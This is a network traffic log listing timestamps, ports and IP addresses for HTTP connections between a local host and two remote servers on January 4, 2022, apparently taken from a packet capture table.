Jan 4, 2022 19:34:03.693705082 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693720102 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693727016 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693734884 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693752050 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693753958 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693767071 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693789959 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693814039 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693857908 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693872929 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693888903 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693897009 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693903923 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693918943 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693934917 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693943024 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693953037 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693968058 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.693979979 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.693985939 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694008112 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694015026 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694037914 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694048882 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694053888 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694072008 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694081068 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694087029 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694103003 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694120884 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694159985 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694168091 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694185019 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694199085 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694215059 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694227934 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694243908 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694259882 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694271088 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694278002 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694313049 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694397926 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694503069 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694519997 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694535017 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694550991 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694555998 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694566965 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694581985 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694597960 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694612026 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694616079 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694631100 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694653034 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694669962 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694670916 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694686890 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694698095 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694701910 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694717884 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694727898 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694732904 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694749117 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694756031 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694765091 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694785118 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694788933 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694807053 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694813967 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694823980 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694839954 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694854975 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694854975 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694870949 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694885969 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694895029 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694901943 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694921017 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694921017 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694941998 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694943905 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694960117 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694974899 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.694986105 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.694991112 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695007086 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695022106 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695033073 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695036888 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695053101 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695063114 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695069075 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695085049 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695095062 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695106983 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695121050 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695126057 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695142984 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695148945 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695158005 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695173979 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695187092 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695189953 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695205927 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695221901 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695226908 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695236921 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695246935 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695252895 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695272923 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695285082 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695293903 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695311069 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695319891 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695326090 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695342064 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695355892 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695358038 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695373058 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695389032 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695404053 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695405960 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695424080 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695431948 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695442915 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695455074 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695458889 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695476055 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695492029 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695494890 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695506096 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695522070 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695529938 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695538044 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695554972 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695558071 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695575953 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695584059 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695593119 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695609093 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695617914 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695625067 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695640087 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695656061 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695662022 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695671082 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695684910 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695686102 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695700884 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.695727110 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.695759058 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.714982986 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.716209888 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716243029 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716269016 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716278076 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.716290951 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716311932 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.716336966 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716346025 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.716361046 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716382027 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716384888 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.716407061 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.716407061 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716430902 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716451883 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.716454029 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716466904 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.716475964 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716500044 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716501951 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.716525078 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716541052 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.716548920 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716571093 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716574907 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.716594934 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716613054 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.716617107 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716639042 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716648102 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.716664076 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716682911 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.716684103 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:03.716722965 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.720638037 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.870712042 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:03.897660017 CET	49899	80	192.168.2.5	91.219.236.18
Jan 4, 2022 19:34:04.989543915 CET	49905	80	192.168.2.5	91.219.236.18
Jan 4, 2022 19:34:05.218158960 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.238759995 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.238801003 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.238822937 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.238842964 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.238864899 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.238868952 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.238886118 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.238907099 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.238924980 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.238929033 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.238949060 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.238967896 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.238972902 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.238991976 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.239023924 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.259216070 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259254932 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259275913 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259296894 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259318113 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259318113 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.259341002 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259351015 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.259361982 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259382963 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259406090 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259418964 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.259428024 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259448051 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.259452105 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259474993 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259483099 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.259496927 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259519100 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259522915 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.259540081 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259555101 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.259563923 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259586096 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.259586096 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259608030 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259624004 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.259630919 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259653091 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.259660959 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.259697914 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.279757023 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.279793024 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.279814005 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.279834986 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.279844046 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.279856920 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.279866934 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.279879093 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.279902935 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.279911041 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.279926062 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.279937983 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.279947996 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.279972076 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.279979944 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.279993057 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280015945 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280021906 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.280036926 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280056953 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.280061007 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280083895 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.280085087 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280107021 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280122995 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.280128956 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280152082 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280158997 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.280173063 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280198097 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280200005 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.280220032 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280241966 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280245066 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.280265093 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280272007 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.280287027 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280309916 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280309916 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.280330896 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280354023 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280355930 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.280375004 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280381918 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.280395985 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280417919 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280425072 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.280440092 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280461073 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280463934 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.280483007 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280491114 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.280503988 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280524969 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280531883 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.280546904 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280570030 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280570984 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.280591965 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280595064 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.280615091 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280636072 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.280637980 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.280678988 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.300564051 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.300601006 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.300621986 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.300638914 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.300656080 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.300661087 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.300672054 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.300689936 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.300714016 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.300723076 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.300738096 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.300762892 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.300770044 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.300785065 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.300796032 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.300806046 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.300828934 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.300860882 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.300869942 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.300883055 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.300894022 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.300909042 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.300916910 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.300939083 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.300945997 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.300961018 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.300972939 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.300982952 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301004887 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301007986 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301028967 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301043987 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301052094 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301071882 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301094055 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301095963 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301116943 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301141977 CET	80	49897	65.108.180.72	192.168.2.5
